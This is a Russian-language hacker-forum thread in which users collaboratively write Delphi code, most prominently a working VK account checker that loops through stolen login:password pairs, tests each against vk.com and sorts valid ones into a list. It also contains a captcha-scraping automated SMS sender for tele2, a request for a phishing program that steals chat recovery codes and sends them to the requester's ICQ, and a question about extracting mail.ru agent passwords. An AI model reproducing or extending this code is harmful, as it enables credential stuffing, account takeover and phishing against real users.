mailbrush
27.04.2010, 17:30
А что сложного то? Вместо ShowMessage делай что-то вроде этого:
memo1.lines.add(log + ';' + pass);

Vlad3d
27.04.2010, 17:38
например так:
proverka:=idhttp1.get(lallalalal) //авторизация на сайте
if pos('выход',proverka)<>0 then
memo1.Lines.Add(log+':'+pass)
else
memo2.Lines.Add(log+':'+pass)
//вместо выход можно написать logoff если ты авторизуешься на vk.com

ну как то так
P.S. писал тут сразу

stepashka_
27.04.2010, 17:48
например так:
proverka:=idhttp1.get(lallalalal) //авторизация на сайте
if pos('выход',proverka)<>0 then
memo1.Lines.Add(log+':'+pass)
else
memo2.Lines.Add(log+':'+pass)
//вместо выход можно написать logoff если ты авторизуешься на vk.com

ну как то так
P.S. писал тут сразу
Если пасс верный то всё ГУД
Если пасс не верный, выскакивает ошибка http://s45.radikal.ru/i107/1004/56/a7a4eb4917a1.jpg (http://www.radikal.ru)
В мемо ничего не пишет :(

Vlad3d
27.04.2010, 18:01
proverka:=idhttp1.get(lallalalal)
try
if pos('выход',proverka)<>0 then
memo1.Lines.Add(log+':'+pass)
....
except
memo2.Lines.Add(log+':'+pass)
.....


так может

stepashka_
27.04.2010, 18:17
неа, та же ошибка :(

AquaKlaster
27.04.2010, 18:18
неа, та же ошибка :(
запусти без дебагера/дельфи

stepashka_
27.04.2010, 18:29
запусти без дебагера/дельфи
тоже самое

fenixelite
27.04.2010, 18:45
stepashka_,
кинь полностью код!

stepashka_
27.04.2010, 18:47
procedure TForm1.Button3Click(Sender: TObject);
var
uns, s,log,pass: String;
begin
idhttp1.HandleRedirects := True;
log:=copy(memo1.lines[0],1,pos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],pos(':',memo1.lines[0])+1,20);
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=');
s:=Copy(uns,Pos('value=',uns)+7,56);
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
uns := idhttp1.Get('http://vk.com/');
if Pos('http://vk.com/profile.php', uns) <> 0 then
memo3.lines.add(log + ':' + pass)
else
memo2.lines.add(log + ':' + pass);
IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
end;
вот

HakaR
27.04.2010, 19:21
Вот так попробуй:
uns := idhttp1.Get('http://vk.com/profile.php');
if Pos('http://vk.com/profile.php', uns) = 0 then
memo3.lines.add(log + ':' + pass)
else
begin
memo2.lines.add(log + ':' + pass);
end;

fenixelite
27.04.2010, 19:36
Не много бредовая идея, но работает(то номера мемо проверь)

procedure TForm3.btn1Click(Sender: TObject);
var
uns, s,log,pass: String;
begin
idhttp1.HandleRedirects := True;
log:=copy(memo1.lines[0],1,pos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],pos(':',memo1.lines[0])+1,20);
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=');
s:=Copy(uns,Pos('value=',uns)+7,56);
try
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
uns := idhttp1.Get('http://vk.com/');
memo3.lines.add(log + ':' + pass);
except
On E: Exception do begin
memo2.lines.add(log + ':' + pass);
memo3.Lines.Delete(memo3.Lines.Count);
end;

end;

idckmngr1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
idckmngr1.AddCookie('remixchk=5; path=/;','vk.com');
end;

stepashka_
27.04.2010, 19:56
Всем спасибо, но ничего не помогло :(

fenixelite
27.04.2010, 20:00
stepashka_,
тебе exe'шник кинуть где у меня все работает? :)
Запускай без дебагера. И проверь номера мемо, мб где то не тот номер!

stepashka_
27.04.2010, 20:06
Всё гуд заработало!

HakaR
27.04.2010, 20:06
Всем спасибо, но ничего не помогло :(
Мб капча вылезла и тупо не авторизирует? :confused:

SkyLine32
27.04.2010, 21:28
а можно в WebBrowser парсить определённый участок кода, например:
с <!-- begin -->
...
до <!-- / end -->
и выводить в браузер? только сохрание всей страници на хард, потом парсить, потом выводить - не катит.

GhostOnline
27.04.2010, 22:44
Наврядли. Только если перехватывать пакеты на низком уровне наверное

stepashka_
27.04.2010, 23:13
Мб капча вылезла и тупо не авторизирует? :confused:
Да не всё Ок там :)

Подскажите можно как то провереный акк удалять из мемо1? после того как он сохранился в мемо2-3

TrueBit
27.04.2010, 23:21
Да не всё Ок там :)

Подскажите можно как то провереный акк удалять из мемо1? после того как он сохранился в мемо2-3
memo1.lines.delete(0);
удаляет первую строку

GhostOnline
27.04.2010, 23:21
Memo2.Lines.Delete(Memo2.Lines.IndexOf(account));

EndLeSSDre@M
27.04.2010, 23:31
вы тут все извращенцы какие то)))) как можно с помощью pos() определить положение символа в строке???))) для этого используется ansipos()

procedure TForm1.Button1Click(Sender: TObject);
var
uns, s,log,pass: String;
begin
idhttp1.HandleRedirects := True;
while memo1.lines.count-1>=0 do
begin
log:=copy(memo1.lines[0],1,AnsiPos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],AnsiPos(':',memo1.lines[0])+1,length(memo1.lines[0]));
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=');
s:=Copy(uns,Pos('value=',uns)+7,56);
try
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
uns := idhttp1.Get('http://vk.com/');
memo2.lines.add(log + ':' + pass);
except
*On E: Exception do begin
* memo3.lines.add(log + ':' + pass);
* memo2.Lines.Delete(memo2.Lines.Count);
memo1.Lines.Delete(0);
end;
end;
end.

вот и весь код господи)))) проверили, добавили, удалили и се! пользуйтесь

warkk
28.04.2010, 02:14
как можно с помощью pos() определить положение символа в строке???))) для этого используется ansipos()

Да легко)) Так же как и с AnsiPos

Какая разница какую функцию использовать?

В идеале конечно Pos надо юзать когда нужно найти позицию одной строки в другой, но можно использовать и для нахождения определенного символа.

Это никак не повлияет на результат)))

HakaR
28.04.2010, 09:16
вы тут все извращенцы какие то)))) как можно с помощью pos() определить положение символа в строке???))) для этого используется ansipos()

Мда... :mad:

Описание функции Pos()
Функция Pos находит позицию одной строки Needle в другой строке HayStack.

Если строка не найдена, возвращается 0.

var
p: integer;
begin
p := Pos('5', '12534');
if p = 0
then ShowMessage('''5'' не найдено!')
else ShowMessage('''5'' найдено начиная с символа '+IntToStr(p));
end;

EndLeSSDre@M
28.04.2010, 11:44
Кароче забейте))) я видать только в это вдумался)))

Если строка не найдена, возвращается 0.

ну не суть... главное мой код работает... ansipos мну больше нравится

Диня
28.04.2010, 14:26
Здоровенько. спасибо большое за вещь :) .
У меня вот дело есть. Ты скорее всего слышал про чат галактика знакомств. Мне хотелось бы собрать програмку. Чтоб я давал ее другим пользователям,они пытаясь зайти в чат вводили в нее свой код востановления, а им ну там что нибудь левое высвечивалось,типо обновите версию или сервер временно не доступен. А тем временем пока они понять не могут в чем прикол прога кидала их кода восстановления мне на асю.да кстати вот она 596914946. Пожалуйста помоги. мне она очень нужна. вот она вот так выглядит http://slil.ru/28987476 .но мне нужно что бы работала на меня. Сделай плизззззззззззззз!!!если че пиши на выше указанную асю или мыло denmotosport@mail.ru зарание спасибо. жду ответа ;)

GhostOnline
28.04.2010, 14:37
Pos и AnsiPos - идентичные функции, обе находят подстроку в строке(в том числе и символ)
Только AnsiPos может работать с многобайтовыми символами, по-этому она предпочтительней

stepashka_
28.04.2010, 21:09
Подскажите как при нажатии на button остановить цикл while

HakaR
28.04.2010, 21:15
Обьявляешь переменную типа boolean, после нажатия присваеваешь переменной false, а в цикле проверяешь значение, если false выходим, если true - продолжаем. Вроде так...

stepashka_, ты че чекер акков вк пишешь? :)
Если да, юзай цикл for ... to ... do.

stepashka_
28.04.2010, 21:21
for ... to ... do Вроде нужно юзать если знаешь точное кол-во циклов. не?

HakaR
28.04.2010, 21:24
for ... to ... do Вроде нужно юзать если знаешь точное кол-во циклов. не?
Да.
Для чекера будет типо такого цикла:
for i := 0 to account.count-1 do
...

stepashka_
28.04.2010, 21:29
Обьявляешь переменную типа boolean, после нажатия присваеваешь переменной false, а в цикле проверяешь значение, если false выходим, если true - продолжаем. Вроде так...

stepashka_, ты че чекер акков вк пишешь? :)
Если да, юзай цикл for ... to ... do.
Не помогло

HakaR
28.04.2010, 21:32
Перед началом цикла присвой переменной, значение true.
Код кинь.

JnK
28.04.2010, 21:34
Подскажите как при нажатии на button остановить цикл while

глобально
flag:boolean=true;

В потоке
while flag do
begin
что то делаем
end;

клавиша
procedure TForm1.Button1Click(Sender: TObject);
begin
Flag:=false;
end;


P.s. Команда Break останавливает работу цикла.

stepashka_
28.04.2010, 21:59
А for ... to ... do как остановить и потом продолжить?

qwert135
28.04.2010, 22:10
Всем привет.Народ, плиз помогите дописать прогу(паскаль). Она рисует куб и мне теперь надо закрасить все его грани поочередно

Program lab4;
uses graph, crt;
var
x, y, a, c, Driver, Mode:integer;

begin
Driver := detect;
Mode := VGA;
InitGraph(Driver, Mode, 'C:\FPC\2.2.0\bin\i386-win32');
clrscr;
x:=200;
y:=200;
a:=100;
c:=20;

{основание нижнее}
setcolor(15);
line(x,y,x+a,y);
line(x+a,y, x+a+a div 2, y-a div 2);
line(x,y,x+a div 2, y-a div 2);
line (x+a div 2, y-a div 2, x+a+a div 2, y-a div 2 );
{Верхнее основание}
line(x,y-a, x+a, y-a);
line(x+a,y-a, x+a+a div 2, y-a-a div 2);
line(x,y-a,x+a div 2, y-a-a div 2);
line (x+a div 2, y-a-a div 2, x+a+a div 2, y-a-a div 2 );

{передняя грань}
line(x,y,x, y-a);
line(x+a,y, x+a, y-a);

{боковая грань }
line (x+ a div 2, y-a div 2, x+ a div 2, y -a div 2 -a);

{боковая грань 2 }
line (x+a+ a div 2, y-a div 2, x+a+a div 2, y-a div 2 -a);

readln;
CloseGraph;
end.
заранее благодарен.

lark1n
28.04.2010, 22:13
Доброго времени суток!
Возник вопрос:
Как написать на С++ строку с Паскаля:
CONST st:Array[0..1] of String [5]=('left','right');

wolmer
28.04.2010, 22:24
А for ... to ... do как остановить и потом продолжить?
сверяешь глобальную boolean переменую в начале цикла (между begin ... end), и если она true, то прекращаешь цикл процедурой break; ну и на кнопку ставишь присвоение этой boolean переменой значения true

EndLeSSDre@M
28.04.2010, 23:22
ОМГ вы опять друг другу мозг выносите)))) stepashka все очень просто!

объявляем глобальную переменную:

Form1: TForm1;
Stop: Boolean = False;

вот сам цикл:

procedure TForm1.Button1Click(Sender: TObject);
i:integer;
begin
Button2.Enabled:=True;
Button1.Enabled:=False;
Stop:=False;
for i:=1 to n do
begin
//тут код
Application.ProcessMessages;
if not stop then break;
end;
end;


вот код остановки:

procedure TForm1.Button2Click(Sender: TObject);
begin
Stop:=True;
Button2.Enabled:=False;
Button1.Enabled:=True;
end;

и усе))) для тех кто решит спросить зачем я делал вот так:
Button2.Enabled:=False;
Button1.Enabled:=True;

для того что бы в случае срабатывания этого кода:
Application.ProcessMessages;
не было возможности заново запустить цикл!

дополняю:

А for ... to ... do как остановить и потом продолжить?

для этого можешь начальную позицию цикла объявить в глобальной переменной! и потом при нажатии он будет продолжать с того места, где закончил, например:

объявляем глобальную переменную:

Form1: TForm1;
Stop: Boolean = False;
k:integer;

теперь, при остановке цикла, переменная будет оставлять свое значение там где остановилась... а чтобы обнулить можешь сделать 3 кнопку, которая будет обнулять счетчик

вот код для первой кнопки с самим циклом:

procedure TForm1.Button1Click(Sender: TObject);
i:integer;
begin
Button2.Enabled:=True;
Button1.Enabled:=False;
Stop:=False;
for i:=k to n do
begin
//тут код
Application.ProcessMessages;
if not stop then break;
k:=k+1;
end;
end;


тем самым, если остановили, то в k останется то значение, на котором остановились!

пы сы еси есть какие то недочеты, то не ругайте, писал на пьяную голову :rolleyes:

GhostOnline
29.04.2010, 01:26
if stop:=true then...
Прекратите так писать, видеть не могу уже
if stop then.....
if not stop then.....

RumShun
29.04.2010, 06:58
помойму если чтото надо приостанавливать, а потом запускать, рациональней использовать потоки.

EndLeSSDre@M
29.04.2010, 10:23
помойму если чтото надо приостанавливать, а потом запускать, рациональней использовать потоки.

Полностью с тобой согласен! Но так как я не умею ими пользоваться, поэтому и пишу не через потоки :( надо учить

buchlord
29.04.2010, 15:41
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, PngImageList, ImgList, IdHTTP, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, StdCtrls, ExtCtrls, IdCookieManager;

type
TForm1 = class(TForm)
Image1: TImage;
Edit1: TEdit;
Button1: TButton;
IdTCPClient1: TIdTCPClient;
IdHTTP1: TIdHTTP;
PngImageList1: TPngImageList;
PngImageCollection1: TPngImageCollection;
IdCookieManager1: TIdCookieManager;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation
var public_key, S:string;
{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);

var FS:TFileStream;
begin
S:=IdHTTP1.Get('http://www.sms.tele2.ru/');
public_key:=Copy(S, Pos('public_key', S)+16, 32);
FS:=TFileStream.Create('captcha.png',FMCreate);
IdHTTP1.Get('http://www.sms.tele2.ru/get_rni.php?'+public_key+'.png', FS);
FS.Free;
Image1.Picture.LoadFromFile('captcha.png');
end;

end.






Не выводит капчу помогите !!!!!

TrueBit
29.04.2010, 16:24
~~~


Не выводит капчу помогите !!!!!
public_key:=Copy(S, Pos('public_key', S)+35, 32);

fenixelite
29.04.2010, 16:26
Так попробуй :

public_key:=Copy(S, Pos('public_key', S)+35, 32);
FS:=TFileStream.Create('captcha.png',FMCreate);
IdHTTP1.Get('http://www.sms.tele2.ru/get_rni.php?'+public_key, FS);

Кстати у меня ко всем вопрос сразу, он нормально сохраняет капчу т.е картинка нормально, все видно, но в image он ее не вставляет... Это я что то не так делаю, или трабла в image?

buchlord
29.04.2010, 16:31
Так попробуй :

public_key:=Copy(S, Pos('public_key', S)+35, 32);
FS:=TFileStream.Create('captcha.png',FMCreate);
IdHTTP1.Get('http://www.sms.tele2.ru/get_rni.php?'+public_key, FS);

Кстати у меня ко всем вопрос сразу, он нормально сохраняет капчу т.е картинка нормально, все видно, но в image он ее не вставляет... Это я что то не так делаю, или трабла в image?


Ни чего не выводит ! На капче пришется по Англиски привет ,а надо чтоб цифры были!!!!!!!!!!!!!

TrueBit
29.04.2010, 16:33
Ни чего не выводит ! На капче пришется по Англиски привет ,а надо чтоб цифры были!!!!!!!!!!!!!
юзер-агент поставь браузерный
пример:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

buchlord
29.04.2010, 16:36
юзер-агент поставь браузерный
пример:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)


Как он выглядет и где его взять ???? :D

И куда его ставить????????!!!!!

fenixelite
29.04.2010, 16:38
У меня нормально капчу сохраняет, с цыфрами.. вопрос в другом, почему когда я пытаюсь ее подгрузить в TImage выходит ошибка :
Unknown picture file extension

buchlord
29.04.2010, 16:47
Вот смотрите что у меня получается : http://letitbit.net/download/75863.75f07d2b5298ff923e98ed74b/BUch.rar.html

buchlord
29.04.2010, 17:09
Ну вы поможете?????

SkyLine32
29.04.2010, 17:23
Как он выглядет и где его взять ???? :D

И куда его ставить????????!!!!!

IdHTTP1.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)';

buchlord
29.04.2010, 17:28
IdHTTP1.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)';



Между каких строк этот код вставлять???????????????

SkyLine32
29.04.2010, 17:32
Между каких строк этот код вставлять???????????????
блин ну что за глупые вопросы, хоть бы подумал головой! вот где у тебя в проге есть кнопка или что там ещё...после нажатия на неё ты отправляешь данные... и думай теперь куда этот код ставить...

buchlord
29.04.2010, 19:15
Народ простите конечно за тупые вопросы ,но я ничего не могу сделать пишит ПРИВЕТ ,а мне надо цифры !!! Вот ссыль на то что я сделал ,кому не сложно сделайте и перезалейте !!!!! http://letitbit.net/download/75863.75f07d2b5298ff923e98ed74b/BUch.rar.html

SkyLine32
29.04.2010, 19:24
Народ простите конечно за тупые вопросы ,но я ничего не могу сделать пишит ПРИВЕТ ,а мне надо цифры !!! Вот ссыль на то что я сделал ,кому не сложно сделайте и перезалейте !!!!! http://letitbit.net/download/75863.75f07d2b5298ff923e98ed74b/BUch.rar.html
IdHTTP1.Get('http://www.sms.tele2.ru/get_rni.php?public_key='+public_key, FS);

buchlord
29.04.2010, 19:25
IdHTTP1.Get('http://www.sms.tele2.ru/get_rni.php?public_key='+public_key, FS);






Помог спосибо!!!!!!!

buchlord
29.04.2010, 20:44
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, PngImageList, ImgList, IdHTTP, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, StdCtrls, ExtCtrls, IdCookieManager;

type
TForm1 = class(TForm)
Image1: TImage;
Edit1: TEdit;
Button1: TButton;
IdTCPClient1: TIdTCPClient;
IdHTTP1: TIdHTTP;
PngImageList1: TPngImageList;
PngImageCollection1: TPngImageCollection;
IdCookieManager1: TIdCookieManager;
Button2: TButton;
Kod: TComboBox;
nomer: TEdit;
text: TEdit;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);

private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

var public_key, S:string;
{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);

var FS:TFileStream;
begin
IdHTTP1.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)';
S:=IdHTTP1.Get('http://www.sms.tele2.ru/');
IdHTTP1.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)';
public_key:=Copy(S, Pos('public_key', S)+35, 32);
IdHTTP1.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)';
FS:=TFileStream.Create('captcha.png',FMCreate);
IdHTTP1.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)';
IdHTTP1.Get('http://www.sms.tele2.ru/get_rni.php?public_key='+public_key, FS);
IdHTTP1.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)';
FS.Free;
IdHTTP1.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)';
Image1.Picture.LoadFromFile('captcha.png');
end;

procedure TForm1.Button2Click(Sender: TObject);
var Data:TStringList;
begin
Data:=TStringList.Create;
Data.Add('do=send');
Data.Add('smstext='+text.Text);
Data.Add('phone_cod='+Kod.text);
Data.Add('number='+nomer.Text);
Data.Add('sms_text='+text.Text);
Data.Add('private_key='+public_key);
Data.Add('public_key='+public_key);
Data.Add('submit.x=submit.x');
Data.Add('submit.y=submit.y');
S:=IdHTTP1.Post('http://www.sms.tele2.ru/', Data);
if Pos('green', S)<>0 then
Label1.Caption:='ДА :)'
else
Label1.Caption:='Нет;)'

end;


end.




Программа работает но с отправкой на сервер данных запутался ,не могу сообразить !!! Помогите пожалуйста юнному программисту !!!!! :D

HakaR
29.04.2010, 21:04
0_о
buchlord, зачем ты столько раз, юзер агент прописываешь?
Сверяй что отправляет браузер и твоя программа, и соображай.

JnK
29.04.2010, 21:18
Программа работает но с отправкой на сервер данных запутался ,не могу сообразить !!! Помогите пожалуйста юнному программисту !!!!! :D


....

procedure TForm1.Button1Click(Sender: TObject);

var FS:TFileStream;
begin
IdHTTP1.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)';
S:=IdHTTP1.Get('http://www.sms.tele2.ru/');

public_key:=Copy(S, Pos('public_key', S)+35, 32);
FS:=TFileStream.Create('captcha.png',FMCreate);

IdHTTP1.Get('http://www.sms.tele2.ru/get_rni.php?public_key='+public_key, FS);
FS.Free;
Image1.Picture.LoadFromFile('captcha.png');
end;

procedure TForm1.Button2Click(Sender: TObject);
var
Data:TStringList;
begin
Data:=TStringList.Create;
Data.Add('do=send');
Data.Add('smstext='+text.Text);
Data.Add('phone_cod='+Kod.text);
Data.Add('number='+nomer.Text);
Data.Add('sms_text='+text.Text);
Data.Add('private_key='+public_key); // Это капча
Data.Add('public_key='+public_key); // А это Хеш наверное её )

S:=IdHTTP1.Post('http://www.sms.tele2.ru/', Data);

if Pos('green', S)<>0 then
Label1.Caption:='ДА :)'
else
Label1.Caption:='Нет;)'
Data.Free; // список освобождать кто будет?
end;


end.

Data.Add('private_key='+public_key); // Это капча
Data.Add('public_key='+public_key); // А это Хеш наверное её )

У тебя капча и ключ одно и тоже.

stepashka_
29.04.2010, 22:40
Дельфи
Я зашёл на ВК
idhttp1.Get('http://vk.com/');
Как можно спарсить нужный мне текст?

JnK
29.04.2010, 23:04
Дельфи
Я зашёл на ВК

Как можно спарсить нужный мне текст?

var
str:string;
begin
str:=idhttp1.Get('http://vk.com/');
// copy,delete,pos
end;

или как практикуют через StringList

var
str:Tstringlist;
tmp:string;
i:integer;
begin
str:=Tstringlist.Create();
str.Text:=idhttp1.Get('http://vk.com/');
for i:=0 to str.count-1 do
begin
tmp:=str.Strings[i] ;
delete(tmp,1,pos('img',tmp));
// copy,delete,pos
end;
str.Free;
end;

stepashka_
29.04.2010, 23:08
JnK я в дельфи начинающий, можно чуть подробнее?

astonilya
29.04.2010, 23:14
Как достать пароли с mail.ru агента подскижите плз..

JnK
29.04.2010, 23:16
JnK я в дельфи начинающий, можно чуть подробнее?
Где, что не понятно?


var
tmp,str:string; // переменная str = строка
begin
str:=idhttp1.Get('http://vk.com/');
{ считываем страницу и сохраняем её в строке (str) }
tmp:=copy(str,pos('<title>',str)+7,pos('</title>',str));
{в строку Tmp копируется текст между <title> и </title> }
// copy - скопировать часть строки
// !! delete - удалить часть строки. Работает с VAR переменными.
// pos - найти строку (символ) в подстроке
end;



var
str:Tstringlist; // Список (аналог визуальный ListBox)
tmp:string; // Строка (временная переменная)
i:integer; // число (счетчик)
begin
str:=Tstringlist.Create(); // создаем список (выделяем память)
str.Text:=idhttp1.Get('http://vk.com/'); // копируем в список текст страницы
for i:=0 to str.count-1 do // цикл проходит по всему списку
begin
tmp:=str.Strings[i] ; // присваиваем строку из списка во временную, т.к. нельзя работать на прямую коммандой Delete
delete(tmp,1,pos('img',tmp)); // удаляем с 1 симвода, до слова Img (если нет такого слова) то ничего не делает.
// copy,delete,pos - читай выше.
end;
str.Free; // освобождаем список (память)
end;

buchlord
29.04.2010, 23:33
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, PngImageList, ImgList, IdHTTP, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, StdCtrls, ExtCtrls, IdCookieManager;

type
TForm1 = class(TForm)
Image1: TImage;
kap: TEdit;
Button1: TButton;
IdTCPClient1: TIdTCPClient;
IdHTTP1: TIdHTTP;
PngImageList1: TPngImageList;
PngImageCollection1: TPngImageCollection;
Button2: TButton;
Kod: TComboBox;
nomer: TEdit;
text: TEdit;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);

private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

var public_key, S:string;
{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);

var FS:TFileStream;
begin
IdHTTP1.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)';
S:=IdHTTP1.Get('http://www.sms.tele2.ru/');

public_key:=Copy(S, Pos('public_key', S)+35, 32);

FS:=TFileStream.Create('captcha.png',FMCreate);

IdHTTP1.Get('http://www.sms.tele2.ru/get_rni.php?public_key='+public_key, FS);

FS.Free;

Image1.Picture.LoadFromFile('captcha.png');
end;

procedure TForm1.Button2Click(Sender: TObject);
var Data:TStringList;
begin
Data:=TStringList.Create;
Data.Add('do=send');
Data.Add('smstext='+text.Text);
Data.Add('phone_cod='+Kod.text);
Data.Add('number='+nomer.Text);
Data.Add('sms_text='+text.Text);
Data.Add('private_key='+kap.Text);
Data.Add('public_key='+public_key);
Data.Add('submit.x=0');
Data.Add('submit.y=0');
S:=IdHTTP1.Post('http://www.sms.tele2.ru/', Data);
Data.Free;
if Pos('<p><b><span style="color: green">Спасибо, Ваше сообщение принято!</span></b></p>', S)<>0 then
Label1.Caption:='ДА :)'
else
Label1.Caption:='Нет;)'

end;

end.
Народ я уже все волосы на голове выдрал помогите не отправляет смс !!!!!!!!
Может всё дело в :
Data.Add('submit.x=0');
Data.Add('submit.y=0');
я незнаю что место 0 ставить??????

Vlad3d
29.04.2010, 23:57
ты уверен что у тебя паблик кей верно находит?
попробуй в мемо вывести public_key

JnK
30.04.2010, 00:07
....
я незнаю что место 0 ставить??????

Снифер в руки брал?

Data.Add('submit.x=0');
Data.Add('submit.y=0');

Т.к. Кнопка на сайте в виде картинки, то идет авто ориентир х и у, это на случай, если кнопку хотят использовать как карту. (1 кнопка - много путей), в твоем случаи, это роли не играет, но если так хочешь поставь 15, 10

Data.Add('submit.x=15');
Data.Add('submit.y=10');

iGlass
30.04.2010, 08:13
Всем доброго времени суток!

Кто нибудь сталкивался с авторизацией на форуме vBulletin?

Вот такой запрос уходит на авторизацию..

_http://forum.ru/login.php?vb_login_username=user&vb_login_password_md5=o_O&s&vb_login_password_utf8

Как пароль в md5 переконвертить? Или всё намного проще?

SkyLine32
30.04.2010, 09:03
Всем доброго времени суток!

Кто нибудь сталкивался с авторизацией на форуме vBulletin?

Вот такой запрос уходит на авторизацию..

_http://forum.ru/login.php?vb_login_username=user&vb_login_password_md5=o_O&s&vb_login_password_utf8

Как пароль в md5 переконвертить? Или всё намного проще?

procedure TForm1.Button1Click(Sender: TObject);
begin
WebBrowser1.Navigate('http://forum.antichat.ru/index.php?');
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
WebBrowser1.OleObject.Document.All.Tags('input').I tem(1).Value:='логин'; // заполняем форму
WebBrowser1.OleObject.Document.All.Tags('input').I tem(2).Value:='пасс'; // заполняем форму
WebBrowser1.OleObject.Document.All.Tags('input').I tem(5).Click(); // нажимаем кнопку
end;
только что проверил, авторизовавшись на этом форуме :)

iGlass
30.04.2010, 09:05
А мне бы желательно через Indy =)

SkyLine32
30.04.2010, 09:10
ну пришли что ты там наваял, посмотрю...может смогу помочь

iGlass
30.04.2010, 09:13
Ещё ничего не ваял.. Но вот строка запроса...

http://forum.ru/login.php?vb_login_username=user&vb_login_password_md5=o_O&s&vb_login_password_utf8

о_О = Password Hash...

SkyLine32
30.04.2010, 10:00
iGlass,

procedure TForm1.Button1Click(Sender: TObject);
var
Data : TStringList;
PostSend, GetSend : string;
begin
IdHTTP1.Request.UserAgent := 'Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.22 Version/10.51';
IdHTTP1.Request.Referer := 'http://forum.antichat.ru/index.php?';
IdHTTP1.Request.Accept := 'text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1';
IdHTTP1.Request.AcceptLanguage := 'ru-RU,ru;q=0.9,en;q=0.8';
IdHTTP1.Request.AcceptCharSet := 'iso-8859-1, utf-8, utf-16, *;q=0.1';
IdHTTP1.Request.AcceptEncoding := 'deflate, gzip, x-gzip, identity, *;q=0';
IdHTTP1.Request.Connection := 'Keep-Alive, TE';
IdHTTP1.Request.ContentType := '';

GetSend := IdHTTP1.Get('http://forum.antichat.ru/index.php?');

Data := TStringList.Create;
Data.Add('vb_login_username='+Edit1.Text);
Data.Add('vb_login_password='+Edit2.Text);
Data.Add('cookieuser=1');
Data.Add('s=');
Data.Add('do=login');
Data.Add('forceredirect=1');
Data.Add('vb_login_md5password=');

PostSend := IdHTTP1.Post('http://forum.antichat.ru/login.php', Data);
end;
если смотреть в сниффере когда логинишся на форуме через браузер, то после
vb_login_md5password=HTTP/1.1 200 OK
Server: nginx
Date: Fri, 30 Apr 2010 05:55:47 GMT
Content-Type: text/html; charset=Windows-1251
Connection: keep-alive
...
...

а в этом примере идет после
vb_login_md5password=&HTTP/1.1 200 OK
Server: nginx
Date: Fri, 30 Apr 2010 05:55:47 GMT
Content-Type: text/html; charset=Windows-1251
Connection: keep-alive
...
...

хз почему...

stepashka_
30.04.2010, 11:24
JnK можно текст между <title> </title> например, вывести в memo ?

GhostOnline
30.04.2010, 12:09
Навскидку:
s := IdHttp1.Get('http://www.google.ru');
Memo1.Lines.Text := Copy(s, pos('<title>', s) + 7, pos('</title>', s) - pos('<title>', s) -7);

stepashka_
30.04.2010, 13:16
Навскидку:
s := IdHttp1.Get('http://www.google.ru');
